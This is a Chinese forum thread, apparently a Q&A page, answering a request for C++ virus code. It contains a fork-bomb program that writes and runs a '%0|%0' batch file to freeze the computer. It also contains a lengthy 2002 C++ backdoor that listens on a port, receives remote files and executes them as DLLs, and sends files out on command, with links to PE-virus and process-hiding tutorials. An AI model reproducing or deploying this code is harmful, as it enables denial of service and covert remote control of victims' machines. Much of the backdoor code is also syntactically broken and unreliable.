需要些C++的病毒代码
\u6bd4\u8f83\u7b80\u5355\u7684C++\u75c5\u6bd2\u4ee3\u7801/*\u4eb2\u81ea\u9a8c\u8bc1\uff0c\u4e0d\u523030\u79d2\u7535\u8111\u5361\u6b7b\uff01\u8fd0\u884c\u540e\u505a\u597d\u5173\u673a\u51c6\u5907*/
/*\u7559\u4e0b\u60a8\u7684\u8d5e\u518d\u62ff\u8d70\uff0c\u8c22\u8c22*/
\u8fd0\u884c\u6548\u679c\u5982\u56fe
/*\u6e90\u4ee3\u7801\uff1a*/
//////////////////////////////////////////////////
#include
#include
#include
using namespace std;
int main()
{
char a[9] = "abc.bat";
ofstream file_out(a);
file_out<<"%0|%0";
file_out.close();
system( a );
return 0;
}
/*
\u5206\u5e03\u5f0f\u75c5\u6bd2\u534f\u8bae\u7684C/C++\u63cf\u8ff0\u4ee3\u7801
Coded by Vxk in CVC
CopyRight® 2001-2002
2002.10.18..night
*/
#include
#include
#include
#include
#include
#include
typedef struct CONNINST
{
SOCKET socket; /* \u672c\u5730Socket\u53f7 */
unsigned short clientPort; /* \u5ba2\u6237\u7aef\u7aef\u53e3 */
struct in_addr clientIP; /* \u5ba2\u6237\u7aefIP\u5730\u5740 */
time_t beginTime; /* \u8fde\u63a5\u5efa\u7acb\u65f6\u95f4 - \u9884\u7559 */
time_t updateTime; /* \u6700\u540e\u66f4\u65b0\u65f6\u95f4 - \u9884\u7559 */
WORD lastestSequenceNumber; /* \u6700\u65b0\u5305\u5e8f\u53f7 */
unsigned short key; /* \u5bc6\u94a5 - \u9884\u7559*/
unsigned short cmdLen; /* \u7ed3\u679c\u5806\u957f\u5ea6 */
char *pCmd; /* \u547d\u4ee4\u5806 */
unsigned short resultLen; /* \u7ed3\u679c\u5806\u957f\u5ea6 */
char *pResult; /* \u7ed3\u679c\u5806 */
struct CONNINST* next; /* \u4e0b\u4e00\u4e2a\u8bf7\u6c42\u5b9e\u4f8b\u7684\u5730\u5740 */
}CONNINST, *pCONNINST;
typedef struct Maillist
{
String Address;
String Name;
Struct Maillist *pNext;
}Maillist,*pMaillist;
typedef struct Moudlelist
{
String MoudleName;
String MoudleFileName;
String MoudleGuid;
String UseFor;
String MoudleAuther;
Struct Moudlelist *pNext;
}Moudlelist,*pMoudlelist;
typedef struct FileUpData
{
struct in_addr clientIP;
DWORD port;
DWORD SAMGuid;
String FileName;
lvoid cmd;
}FileUpData,*pFileUpData;
typedef struct DVPPak
{
String SAMCommand;
String Guid;
String Auther;
lvoid Cmd;
pMaillist *pMail;
pMoudlelist *pMoudle;
String Versionofme;
pmyPCinfo *pcinfo;
}DVPPak, *pDVPPak;
HINSTANCE hInst; /* \u5f53\u524d\u5b9e\u4f8b\u53e5\u67c4 */
HWND hWndMain; /* \u4e3b\u7a97\u53e3\u53e5\u67c4 */
SOCKET listenSocket; /* \u76d1\u542c\u5957\u63a5\u53e3 */
pCONNINST pConnInstHead;
pCONNINST addConnInst(SOCKET, unsigned short, struct in_addr);
pCONNINST getConnInst(SOCKET);
void OnWrite(SOCKET socket);
int netHalt(void);
void delConnInst(pCONNINST);
Void DvpExpCmd(Socket s);
void delAllConnInst(void);
void RecvFileThreadProc(pFileUpData *plm);
void SendFileThreadProc(pFileUpData *plm);
int uiStartup(HINSTANCE hInstance, int nCmdShow);
LRESULT CALLBACK MainWndProc(HWND,UINT,WPARAM,LPARAM);
int netStartup(void);
void OnAccept(SOCKET socket);
void OnClose(SOCKET socket);
void OnRead(SOCKET socket);
void sendResult(SOCKET socket);
int netStartup(void)
{
unsigned short wVersionRequested=MAKEWORD(1,1);
WSADATA wsaData;
SOCKADDR_IN saServer;
DWORD dwAddrStrLen;
char szAddress[128];
int nRet;
/* \u521d\u59cb\u5316WinSock */
if(WSAStartup(wVersionRequested, &wsaData)!=0)
{
//("Dvp \u9519\u8bef :: \u7f51\u7edc\u534f\u8bae\u542f\u52a8\u5931\u8d25,\u8bf7\u91cd\u65b0\u542f\u52a8\u8ba1\u7b97\u673a.");
}
/* \u68c0\u67e5Winsock\u7248\u672c */
if(wsaData.wVersion != wVersionRequested)
{
//("Dvp \u9519\u8bef :: \u7f51\u7edc\u534f\u8bae\u7248\u672c\u9519\u8bef,\u8bf7\u5347\u7ea7Winsock.");
}
/* \u521b\u5efa\u6d41\u5f0f\u5957\u63a5\u53e3 */
listenSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(listenSocket==INVALID_SOCKET)
{
//("ERROR :: Can not create steam socket.");
return 0;
}
/* \u901a\u77e5\u5957\u63a5\u53e3\u6709\u8bf7\u6c42\u4e8b\u4ef6\u53d1\u751f */
nRet=WSAAsyncSelect(listenSocket,
hWndMain, //\u5728\u7f51\u7edc\u4e8b\u4ef6\u53d1\u751f\u65f6\u9700\u8981\u63a5\u6536\u6d88\u606f\u7684\u7a97\u53e3\u53e5\u67c4
UM_ASYNC, //\u5728\u7f51\u7edc\u4e8b\u4ef6\u53d1\u751f\u65f6\u8981\u63a5\u6536\u7684\u6d88\u606f
FD_ACCEPT | FD_READ | FD_WRITE | FD_CLOSE);
//\u53ea\u5728\u7a0b\u5f0f\u5f00\u59cb\u6267\u884c\u4e00\u6b21\uff0c\u4ee5\u540e\u53ea\u8981\u6709\u5957\u63a5\u53e3\u8bf7\u6c42\u5c31\u53d1\u9001\u6d88\u606f
if (nRet==SOCKET_ERROR)
{
//("ERROR :: Can not initialize steam socket.");
closesocket(listenSocket);
return 0;
}
/* \u5730\u5740\u7ed3\u6784\u8bbe\u5b9a */
saServer.sin_port=htons(2525); //\u7aef\u53e3\u5728\u8fd9\u91cc\u54e6
saServer.sin_family=AF_INET;
saServer.sin_addr.s_addr=INADDR_ANY;
/* \u5c06\u4e00\u672c\u5730\u5730\u57403872\u4e0e\u5957\u63a5\u53e3listenSocket\u6346\u7ed1 */
nRet=bind(listenSocket, (LPSOCKADDR)&saServer, sizeof(struct sockaddr));
if (nRet==SOCKET_ERROR)
{
//("ERROR :: Can not bind socket to local port 1936.");
//("HINT :: Dvp Kernel Server can only run in one thread.");
closesocket(listenSocket);
return 0;
}
/* \u8ba9\u5957\u63a5\u53e3\u5f00\u59cb\u76d1\u542c */
nRet = listen(listenSocket, SOMAXCONN);
if (nRet == SOCKET_ERROR)
{
//("ERROR :: Can not listen.");
closesocket(listenSocket);
return 0;
}
dwAddrStrLen = sizeof(szAddress);
GetLocalAddress(szAddress, &dwAddrStrLen);
return 1;
}
/* Unknown how */
int GetLocalAddress(LPSTR lpStr, LPDWORD lpdwStrLen)
{
struct in_addr *pinAddr;
LPHOSTENT lpHostEnt;
int nRet;
int nLen;
// Get our local name
nRet = gethostname(lpStr, *lpdwStrLen);
if(nRet==SOCKET_ERROR)
{
lpStr[0]='\0';
return SOCKET_ERROR;
}
// "Lookup" the local name
lpHostEnt=gethostbyname(lpStr);
if(lpHostEnt==NULL)
{
lpStr[0] = '\0';
return SOCKET_ERROR;
}
// format first address in the list
pinAddr=((LPIN_ADDR)lpHostEnt->h_addr);
nLen=strlen(inet_ntoa(*pinAddr));
if((DWORD)nLen>*lpdwStrLen)
{
*lpdwStrLen=nLen;
WSASetLastError(WSAEINVAL);
return SOCKET_ERROR;
}
*lpdwStrLen = nLen;
strcpy(lpStr, inet_ntoa(*pinAddr));
return 0;
}
int uiStartup(HINSTANCE hInstance, int nCmdShow)
{
WNDCLASS DvpWindow;
HANDLE hObject;
/* \u521b\u5efa\u5b9e\u4f8b */
hInst=hInstance;
/* \u5224\u65ad\u662f\u5426\u5df2\u7ecf\u8fd0\u884c */
hObject=CreateMutex(NULL,FALSE,"DvpC");
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hObject);
PostQuitMessage(0);
return 0;
}
/* \u521b\u5efa\u7a97\u53e3 */
DvpWindow.style=0;//\u6307\u5b9a\u7c7b\u7684\u98ce\u683c
DvpWindow.lpfnWndProc=(WNDPROC)MainWndProc;//\u7a97\u53e3\u8fc7\u7a0b\u7684\u8fdc\u6307\u9488
DvpWindow.cbClsExtra=0;//\u7a97\u53e3\u7ed3\u6784\u989d\u5916\u5b57\u8282\u6570
DvpWindow.cbWndExtra=0;//\u7a97\u53e3\u5b9e\u4f8b\u989d\u5916\u5b57\u8282\u6570
DvpWindow.hInstance=hInstance;//\u7a97\u53e3\u8fc7\u7a0b\u6240\u5728\u7684\u5b9e\u4f8b
DvpWindow.hIcon=LoadIcon(hInstance,MAKEINTRESOURCE(MAIN));//\u8c03\u7528\u6807\u8bc6\u7c7b\u7684\u56fe\u6807
DvpWindow.hCursor=LoadCursor(NULL,IDC_ARROW);//\u8c03\u7528\u6807\u8bc6\u7c7b\u7684\u5149\u6807
DvpWindow.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);//\u6807\u8bc6\u80cc\u666f\u7c7b\u7684\u753b\u5237
DvpWindow.lpszMenuName=NULL;//\u6307\u5411\u6807\u8bc6\u7c7b\u83dc\u5355\u8d44\u6e90\u7684\u5b57\u7b26\u4e32\uff0c\u4ee5\u7a7a\u5b57\u7b26\u7ed3\u675f
DvpWindow.lpszClassName="DVPSample";//\u6807\u8bc6\u672c\u7c7b\u7684\u540d\u79f0
RegisterClass(&DvpWindow);//\u6ce8\u518c\u7a97\u53e3
hWndMain=CreateWindow("DVPSample",
"DVPSample",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,CW_USEDEFAULT,
CW_USEDEFAULT,CW_USEDEFAULT,
NULL,NULL,hInstance,NULL);
if(!hWndMain) return 0;
ShowWindow(hWndMain,SW_HIDE);//\u663e\u793a\u7a97\u53e3
UpdateWindow(hWndMain);//\u66f4\u65b0\u7a97\u53e3
return 1;
}
//\u5904\u7406\u7a97\u53e3\u6d88\u606f
LRESULT CALLBACK MainWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch(message)//\u5f00\u59cb\u5904\u7406\u6d88\u606f
{
/* User Interface Message */
case WM_CLOSE:
return(DefWindowProc(hWnd,message,wParam,lParam));
break;
case WM_DESTROY:
deleteSystrayIcon();
PostQuitMessage(0);
break;
case WM_SIZE:
delAllConnInst();
break;
/* Network Message */
case UM_ASYNC:
switch(WSAGETSELECTEVENT(lParam))
{
case FD_ACCEPT:
OnAccept((SOCKET)wParam);
break;
case FD_READ:
OnRead((SOCKET)wParam);
break;
case FD_WRITE:
OnWrite((SOCKET)wParam);
break;
case FD_CLOSE:
OnClose((SOCKET)wParam);
break;
}
break;
default:
return(DefWindowProc(hWnd,message,wParam,lParam));//\u9ed8\u8ba4\u7a97\u53e3\u8fc7\u7a0b\u7684\u6d88\u606f\u5904\u7406
}
return(0);
}
pCONNINST addConnInst(SOCKET socket, unsigned short port, struct in_addr ip)
{
/* \u5206\u914d\u4e00\u5757\u65b0\u7684\u8fde\u63a5\u5b9e\u4f8b */
pCONNINST newConnInst=(pCONNINST)malloc(sizeof(CONNINST));
/* \u6ca1\u6709\u5185\u5b58\u4e86 */
if(newConnInst==NULL) return NULL;
/* \u5206\u914d\u4e00\u5757\u65b0\u7684SOCKADDR\u5b9e\u4f8b */
// newConnInst->sockAddr=(LPSOCKADDR)malloc(nAddrLen);
// newConnInst->sockAddr=malloc(nAddrLen);
/* \u6ca1\u6709\u5185\u5b58\u4e86 */
// if(newConnInst->lpSockAddr==NULL)
// {
// free(newConnInst);
// return NULL;
// }
//\u88c5\u586b\u65b0\u7684\u8bf7\u6c42\u5305
newConnInst->socket=socket;
newConnInst->clientPort=port;
newConnInst->clientIP=ip;
newConnInst->pCmd=NULL;
newConnInst->pResult=NULL;
newConnInst->cmdLen=0;
newConnInst->resultLen=0;
newConnInst->beginTime=time(NULL);
newConnInst->updateTime=newConnInst->beginTime;
newConnInst->lastestSequenceNumber=0;
newConnInst->next=NULL;
//\u5982\u679c\u8bf7\u6c42\u94fe\u8868\u662f\u7a7a\u7684
if(pConnInstHead==NULL)
{
//\u5c06\u8fd9\u4e2a\u8bf7\u6c42\u4f5c\u4e3a\u94fe\u8868\u5934\uff0c\u653e\u5230pConnInstHead
pConnInstHead=newConnInst;
}
else
{
pCONNINST tempConn=pConnInstHead;
//\u8d70\u5230\u94fe\u8868\u5c3e
while(tempConn->next) tempConn=tempConn->next;
//\u8ffd\u52a0\u65b0\u5305\u5230\u94fe\u8868\u5c3e
tempConn->next=newConnInst;
}
//\u8fd4\u56de\u88c5\u586b\u597d\u7684\u5305\u7684\u6307\u9488
return newConnInst;
}
pCONNINST getConnInst(SOCKET socket)
{
/* \u904d\u5386\u94fe\u8868\uff0c\u5bfb\u627e\u5957\u63a5\u53e3 */
pCONNINST tempConn=pConnInstHead;
while(tempConn!=NULL)
{
if(tempConn->socket==socket) break;
tempConn=tempConn->next;
}
/*\u82e5\u6ca1\u6709\uff0c\u8fd4\u56deNULL */
return(tempConn);
}
void delConnInst(pCONNINST pConnInstToDel)
{
/* \u5982\u679c\u8981\u5220\u9664\u7684\u662f\u94fe\u8868\u5934 */
if(pConnInstToDel==pConnInstHead)
{
/* pConnInstHead->next \u6210\u4e3a\u5934 */
pConnInstHead=pConnInstHead->next;
/* \u5bf9\u94fe\u8868\u5934\u7684free()\u5728\u6700\u540e\u8fdb\u884c */
}
else
{
pCONNINST tempConn=pConnInstHead;
/* \u4ece\u94fe\u8868\u5934\u5f00\u59cb \u5230NULL\u4e3a\u6b62 \u6bcf\u6b21\u6307\u5411\u4e0b\u4e00\u4e2a*/
while(tempConn!=NULL)
{
/* \u82e5\u5f53\u524d\u7684\u4e0b\u4e00\u4e2a\u662f\u8981\u88ab\u5220\u9664\u7684 */
if (tempConn->next==pConnInstToDel)
{
/* \u5f53\u524d\u7684\u4e0b\u4e00\u4e2a\u53d8\u6210\u4e0b\u4e00\u4e2a\u7684(\u8981\u88ab\u5220\u9664\u7684)\u4e0b\u4e00\u4e2a */
tempConn->next=pConnInstToDel->next;
break;
}
}
}
/* \u91ca\u653epConnInstToDel\u5360\u7528\u7684\u5185\u5b58 */
free(pConnInstToDel->pCmd);
free(pConnInstToDel->pResult);
free(pConnInstToDel);
return;
}
void delAllConnInst(void)
{
pCONNINST tempConn=pConnInstHead;
pCONNINST tempConn2;
/* \u904d\u5386\u94fe\u8868\uff0c\u4f9d\u6b21\u91ca\u653e\u5185\u5b58 */
/* \u82e5\u5b58\u5728tempConn\u5219\u7ee7\u7eedfor */
while(tempConn!=NULL)
{
tempConn2=tempConn->next;
// free(tempConn->lpSockAddr);
// free(tempConn->pResultBuf);
free(tempConn->pCmd);
free(tempConn->pResult);
free(tempConn);
tempConn=tempConn2;
}
pConnInstHead=NULL;
return;
}
void OnAccept(SOCKET socket)
{
SOCKADDR_IN sockAddrIn;
pCONNINST connInst=NULL;
SOCKET peerSocket;
int tempLength;
// accept the new socket descriptor
tempLength=sizeof(SOCKADDR_IN);
peerSocket=accept(listenSocket, (struct sockaddr FAR *)&sockAddrIn, (int FAR*)&tempLength);
if(peerSocket==SOCKET_ERROR)
{
if(WSAGetLastError()!=WSAEWOULDBLOCK)
{
//("Error! Accept error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));
return;
}
}
//\u8ba9\u5b83\u4e5f\u53ef\u4ee5\u5728\u8bfb\u5199\u6216\u5173\u95ed\u7684\u65f6\u5019\u5411\u7a97\u53e3\u53d1\u9001\u6d88\u606f
WSAAsyncSelect(peerSocket, hWndMain, UM_ASYNC, FD_READ | FD_WRITE | FD_CLOSE);
if(peerSocket==SOCKET_ERROR)
{
//("Error! WSAAsyncSelect error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));
return;
}
//\u5c06\u8fd9\u5df2\u8fde\u63a5\u7684\u5957\u63a5\u53e3\u653e\u5230\u94fe\u8868\u91cc
connInst=addConnInst(peerSocket, sockAddrIn.sin_port, sockAddrIn.sin_addr);
if (connInst==NULL)
{
//\u5185\u5b58\u6ee1\u4e86
//("Error! Memory is full! The request form %s can not be accepted",inet_ntoa(sockAddrIn.sin_addr));
closesocket(peerSocket);
return;
}
//("A new request from: %s is accepted on socket %d.",
inet_ntoa(sockAddrIn.sin_addr), peerSocket);
return;
}
void OnClose(SOCKET socket)
{
pCONNINST connInst;
// \u68c0\u67e5\u662f\u5426\u5df2\u7ecf\u5220\u9664\u4e86\u8fd9\u4e2a\u5957\u63a5\u53e3
connInst=getConnInst(socket);
if (connInst==NULL) return;
// It is still in stock list
// The client must have to reset the connection.
// Clean up.
//("The request from %s has been closed. Local socket: %d is free now.", inet_ntoa(connInst->clientIP), connInst->socket);
closesocket(connInst->socket);
delConnInst(connInst);
}
/* \u53ef\u4ee5\u8bfb\u53d6\u6570\u636e\u4e86 */
void OnRead(SOCKET socket)
{
pCONNINST connInst;
int bytesReceive;
char* pNewCmd=NULL;
/* \u67e5\u627e\u5bf9\u5e94\u7684\u8fde\u63a5\u5b9e\u4f8b */
connInst=getConnInst(socket);
/* \u5982\u679c\u627e\u4e0d\u5230\u8fde\u63a5\u5b9e\u4f8b, \u8bfb\u5149\u7f13\u51b2\u533a, \u7136\u540eByeBye */
if(connInst==NULL)
{
char buf[1024];
while(recv(socket, buf, sizeof(buf)-1, 0)!=SOCKET_ERROR);
closesocket(socket);
//("When ready to receive (OnREAD), get some noise - DEBUG");
//("it is %c%c%c",buf[0],buf[1],buf[2]);
return;
}
/* \u5426\u5219\u5c06\u6240\u6709\u6570\u636e\u8bfb\u5165\u547d\u4ee4\u5806 */
if(connInst->pCmd==NULL)
{
connInst->pCmd=(char*)malloc(64);
connInst->cmdLen=0;
if(connInst->pCmd==NULL)
{
//("Before receiving data from %s, local memory overflowed.", inet_ntoa(connInst->clientIP));
closesocket(connInst->socket);
delConnInst(connInst);
return;
}
}
pNewCmd=(char*)malloc(64);
if(pNewCmd==NULL)
{
//("Before receiving data from %s, local memory overflowed.", inet_ntoa(connInst->clientIP));
closesocket(connInst->socket);
delConnInst(connInst);
return;
}
memset(pNewCmd, 0, 64);
bytesReceive=recv(socket, pNewCmd, 64, 0);
//("\u6536\u5230:%d\u5b57\u8282",bytesReceive);
if(bytesReceive==SOCKET_ERROR)
{
//\u64cd\u4f5c\u6b64\u65f6\u7531\u4e8eWindows Sockets\u5b9e\u73b0\u7684\u8d44\u6e90\u6216\u5176\u5b83\u9650\u5236\u7684\u5236\u7ea6\u800c\u65e0\u6cd5\u8c03\u5ea6
if(WSAGetLastError()==WSAEWOULDBLOCK) return;
//("recv() Error");
//("Closing socket: %d", connInst->socket);
closesocket(connInst->socket);
delConnInst(connInst);
return;
}
/* \u6709\u7684\u65f6\u5019, OnRead\u6d88\u606f\u662f\u5047\u7684, \u6536\u5230\u7684\u5b57\u8282\u6570\u662f-1, \u8981\u5ffd\u7565\u8fd9\u79cd\u60c5\u51b5*/
if(bytesReceive>0)
{
connInst->pCmd=(char*)realloc(connInst->pCmd, connInst->cmdLen+bytesReceive);
memcpy(&connInst->pCmd[connInst->cmdLen], pNewCmd, bytesReceive);
connInst->cmdLen+=bytesReceive;
free(pNewCmd);
DvpExpCmd(socket);
}
else
{
free(pNewCmd);
}
return;
}
Void DvpExpCmd(Socket s)
{
pCONNINST connInst=getConnInst(s);
char *pThisCmd=NULL; /* \u4ece\u547d\u4ee4\u5806\u91cc\u9762\u8bfb\u53d6\u7b2c\u4e00\u4e2a\u547d\u4ee4\u5305, \u8fd9\u4e2a\u7528\u6765\u4fdd\u5b58\u547d\u4ee4\u5305\u7684\u5730\u5740 */
char *pSwap=NULL; /* \u6e05\u9664\u547d\u4ee4\u5806\u65e7\u547d\u4ee4\u4ea4\u6362\u7528\u7684\u6307\u9488 */
if(pThisCmd==NULL)
{
//("DEBUG - \u65e0\u6cd5\u5b9a\u4e49\u547d\u4ee4\u5305\u8d77\u70b9, \u51fd\u6570\u8fd4\u56de, \u7b49\u5f85\u547d\u4ee4.");
return;
}
if(pThisCmd > connInst->pCmd)
{
/*
\u5982\u679c\u524d\u9762\u6709\u6b8b\u4f59\u6570\u636e, \u90a3\u4e48\u5c31\u7acb\u523b\u6e05\u9664\u6b8b\u4f59\u6570\u636e
\u8fd9\u79cd\u60c5\u51b5\u9047\u5230\u7684\u4e0d\u4f1a\u591a
*/
//("\u5904\u7406\u6b8b\u4f59\u6570\u636e");
pSwap=connInst->pCmd;
connInst->pCmd=strdup(pThisCmd);
connInst->cmdLen-=(pThisCmd-connInst->pCmd);
free(pSwap);
/* \u7ee7\u7eed */
}
LVoid pak;
while (*pThisCmd!=Null)
{
pak+=*pThisCmd;
pThisCmd+=sizeof(char);
}
pDVPPak *myDvp=*(DVPPak*)pak;
if(myDvp->SAMCommand=='UPData')
{/*\u5bf9\u65b9\u4f20\u6587\u4ef6\u7ed9\u6211\u4eec\uff01\uff01*/
pFileUpData *Up=*(FileUpData*)myDvp->cmd;
DWORD dwThread;
if(*up!=Null){up->clientIP=pThisCmd->clientIP;
if(CreateThread(NULL,0,RecvFileThreadProc, *up, 0, &dwThread)==NULL)//\u6587\u4ef6\u63a5\u53d7\u7ebf\u7a0b
{//something wrong with Recv... }else
{ if(CheckSam(myDvp->Guid,myDvp->Auther)!='No')//\u5904\u7406\u6743\u9650,\u81ea\u5df1\u53d1\u6325\u5427\u3002\u3002\u3002
{ int (__stdcall*) MoudleStart=(void*)GetProcAddress(LoadLibrary(UP->FileName),"MoudleStartMe" );
MoudleStart(Up->Cmd);//\u5f00\u59cb\u6267\u884c\uff01
}}
}
free(up);
}
if(myDvp->SAMCommand=='GetData')
{/*2002.10.19*/
/*\u5bf9\u65b9\u8981\u6211\u4eec\u7684\u6587\u4ef6*/
pFileUpData *Up=*(FileUpData*)myDvp->cmd;
if(up!=Null){up->clientIP=pThisCmd->clientIP;
DWORD dwThread;
if(CreateThread(NULL,0,SendFileThreadProc, *up, 0, &dwThread)==NULL)//\u6587\u4ef6\u4f20\u9001\u7ebf\u7a0b
{//something wrong with Recv... }
else{/*\u4f20\u8f93SamCmmand='UpData',cmd=(lvoid*)up\u7ed9\u5bf9\u65b9*/}}
free(up);
}
if(myDvp->SAMCommand==Null)
{
/*\u5904\u7406\u5bf9\u65b9\u53d1\u6765\u4fe1\u606f\u4e2d\u6709\u7528\u7684\u4fe1\u606f*/
/*\u5bf9\u4e8e\u6211\u4eec\u6765\u8bb2\uff0c\u8fd9\u4e2a\u95ee\u9898\u662f\u5e94\u8be5\u7531\u4e2a\u4eba\u5904\u7406\u7684*/
/*\u5bf9\u4e8e\u8fd9\u91cc\u6211\u4eec\u8fd8\u8981\u7ed9\u5bf9\u65b9\u8fd4\u56de\u4e00\u5305\u5373\u6211\u4eec\u7684\u4fe1\u606f*/
/*\u6b64\u5904\u9700\u8981\u53d1\u9001\u6d88\u606f\u5230\u5bf9\u65b9\uff0c\u6765\u83b7\u5f97\u5982\u6587\u4ef6\u4e4b\u7c7b\u7684\u4e1c\u897f*/
}
free(pThisCmd);
free(myDvp);
return -1;
}
void OnWrite(SOCKET socket)
{
pCONNINST connInst;
connInst=getConnInst(socket);
/* \u5982\u679c\u627e\u4e0d\u5230\u8fde\u63a5\u5b9e\u4f8b, \u8bfb\u5149\u7f13\u51b2\u533a, \u7136\u540eByeBye */
if(connInst==NULL)
{
char buf[1024];
while(recv(socket, buf, sizeof(buf)-1, 0)!=SOCKET_ERROR);
closesocket(socket);
//("When ready to send, get some noise");
//("it is %c%c%c",buf[0],buf[1],buf[2]);
return;
}
/* \u5982\u679c\u8fde\u63a5\u5b9e\u4f8b\u6709\u9700\u8981\u53d1\u9001\u7684\u6570\u636e */
if(connInst->pResult!=NULL)
{
sendResult(socket);
}
return;
}
void sendResult(SOCKET socket)
{
pCONNINST connInst=getConnInst(socket);
int bytesSent;
bytesSent=send(connInst->socket, connInst->pResult, connInst->resultLen, 0);
if(bytesSent==SOCKET_ERROR)
{
if (WSAGetLastError()!=WSAEWOULDBLOCK)
{
//("send() Error");
//("Closing socket: %d", connInst->socket);
closesocket(connInst->socket);
delConnInst(connInst);
return;
}
}
if((unsigned int)bytesSentresultLen)//\u5982\u679c\u53d1\u9001\u7684\u5b57\u8282\u5c11\u4e8e\u7ed3\u679c\u5b57\u8282
{
char* temp;
connInst->resultLen=connInst->resultLen-bytesSent;
temp=(char*)malloc(connInst->resultLen);
memcpy(temp,connInst->pResult+bytesSent,connInst->resultLen);
free(connInst->pResult);
connInst->pResult=temp;
}
else //\u5982\u679c\u5168\u90e8\u53d1\u9001\u5b8c\u6bd5
{
free(connInst->pResult);
connInst->resultLen=0;
connInst->pResult=NULL;
}
}
int netHalt(void)
{
pCONNINST connTemp;
/* \u5173\u95ed\u76d1\u542c\u5957\u63a5\u53e3 */
closesocket(listenSocket);
/* \u5173\u95ed\u6240\u6709\u6b63\u5728\u8fde\u63a5\u7684\u5957\u63a5\u53e3 */
connTemp=pConnInstHead;
while(connTemp)
{
closesocket(connTemp->socket);
connTemp=connTemp->next;
}
/* \u6e05\u9664\u8bf7\u6c42\u5305\u94fe\u8868 */
delAllConnInst();
Beep(200,50);
WSACleanup();
return 1;
}
int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
MSG msg;
/* User Interface Startup */
uiStartup(hInstance, nCmdShow);
/* Network Startup */
netStartup();
/*\u6211\u4eec\u5728\u4e0b\u9762\u5e94\u8be5\u505a\u4e9b\u4ec0\u4e48\uff1f\u641c\u7d22ip\u8fde\u63a5\u3002\u3002\u3002\u3002\u3002*/
/* \u8fdb\u5165\u6d88\u606f\u5faa\u73af */
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
/* Network Halt*/
netHalt();
return 0;
}
void RecvFileThreadProc(pFileUpData *plm)
{
// Open target file
// Get remote address
int i,nPort;
char svAddress[256];
lstrcpyn(svAddress,plm->clientIP->sin_addr->s_addr,256);
for(i=0;i<256;i++) {
if(svAddress==':') {
svAddress='\0';
nPort=atoi(&svAddress[i+1]);
break;
}
}
// Put into SOCKADDR_IN structure
SOCKADDR_IN saddr;
struct hostent *he;
DWORD dwIPAddr;
dwIPAddr=inet_addr(svAddress);
if(dwIPAddr==INADDR_NONE) {
he=gethostbyname(svAddress);
if(gethostbyname==NULL) {
free(plm);
return 1;
}
dwIPAddr=*(DWORD *)he->h_addr_list[0];
}
memset(&saddr,0,sizeof(SOCKADDR_IN));
saddr.sin_family=AF_INET;
saddr.sin_port=htons(plm->port);
saddr.sin_addr.s_addr=dwIPAddr;
// Create socket
SOCKET sv;
sv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s==INVALID_SOCKET) {
free(plm);
return 1;
}
// Connect to remote port
if(connect(sv,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {
closesocket(sv);
free(plm);
return 1;
}
// Nonblocking mode
DWORD dwBlock=1;
ioctlsocket(sv, FIONBIO, &dwBlock);
HANDLE hFile;
hFile=CreateFile(plm->FileName,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile!=NULL) {
int nBytes;
DWORD dwCount;
char svBuffer[1024];
do {
// Give up time
Sleep(20);
nBytes=recv(sv,svBuffer,1024,0);
if(nBytes>0) {
WriteFile(hFile,svBuffer,nBytes,&dwCount,NULL);
}
} while(nBytes>0);
CloseHandle(hFile);
}
closesocket(sv);
return 0;
}
void SendFileThreadProc(pFileUpData *plm)
{
SOCKET sv;
sv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(sv==INVALID_SOCKET) {
free(plm);
return -2;
}
// Bind to desired port
SOCKADDR_IN saddr;
memset(&saddr,0,sizeof(SOCKADDR_IN));
saddr.sin_family=AF_INET;
saddr.sin_port=htons(plm->port);
saddr.sin_addr.s_addr=0;
if(bind(sv,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {
closesocket(s);
free(pptp);
free(ppi);
return -1;
}
listen(sv,MAX_CONNECTIONS);
// Nonblocking mode
DWORD argp=TRUE;
ioctlsocket(sv,FIONBIO,&argp);
sleep(1000);
SOCKET psv;
int tempLength;
// accept the new socket descriptor
tempLength=sizeof(SOCKADDR_IN);
psv=accept(sv, (struct sockaddr FAR *)&sockAddrIn, (int FAR*)&tempLength);
if(peerSocket==SOCKET_ERROR)
{
if(WSAGetLastError()!=WSAEWOULDBLOCK)
{
//("Error! Accept error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));
return;
}
}
HANDLE hInFile;
hInFile=CreateFile(plm->FileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
if(hInFile==INVALID_HANDLE_value) {
//Couldn't open local file.
return -1;
}
char svBuffer[1024];
DWORD dwBytes;
do {
ReadFile(hInFile,svBuffer,1024,&dwBytes,NULL);
if(send(psv,svBuffer,dwBytes,0)<=0) break;
} while(dwBytes==1024);
closesocket(psv);
closesocket(sv);
CloseHandle(hInFile);
Return -1;
}
代码的话，相信我，你直接看看不懂的...
黑客不是玩病毒的~
经典的DOS下病毒代码全是汇编的,比如黑色星期五,中国大麻,完全没有C++的影子.
要玩Windows下的病毒,你还是先去研究研究Windows内核编程吧,不然看了也白看.
C++捆绑病毒:http://hi.baidu.com/ciw%5Fblue/blog/item/dfcdf016b3006252f2de32b0.html
汇编进程隐藏(远线程):http://hi.baidu.com/ciw%5Fblue/blog/item/bcb8b0c4ad66e9cf38db49f3.html
汇编PE病毒:http://hi.baidu.com/ciw%5Fblue/blog/item/18f2c618408f410334fa411b.html
C语言 PE病毒:http://hi.baidu.com/ciw%5Fblue/blog/item/527fef260882db108b82a139.html
全部原创,但是只用于研究,不能用于其他.
给你一个，版本老了一些，但是还是比较经典的：
backdoor病毒源代码
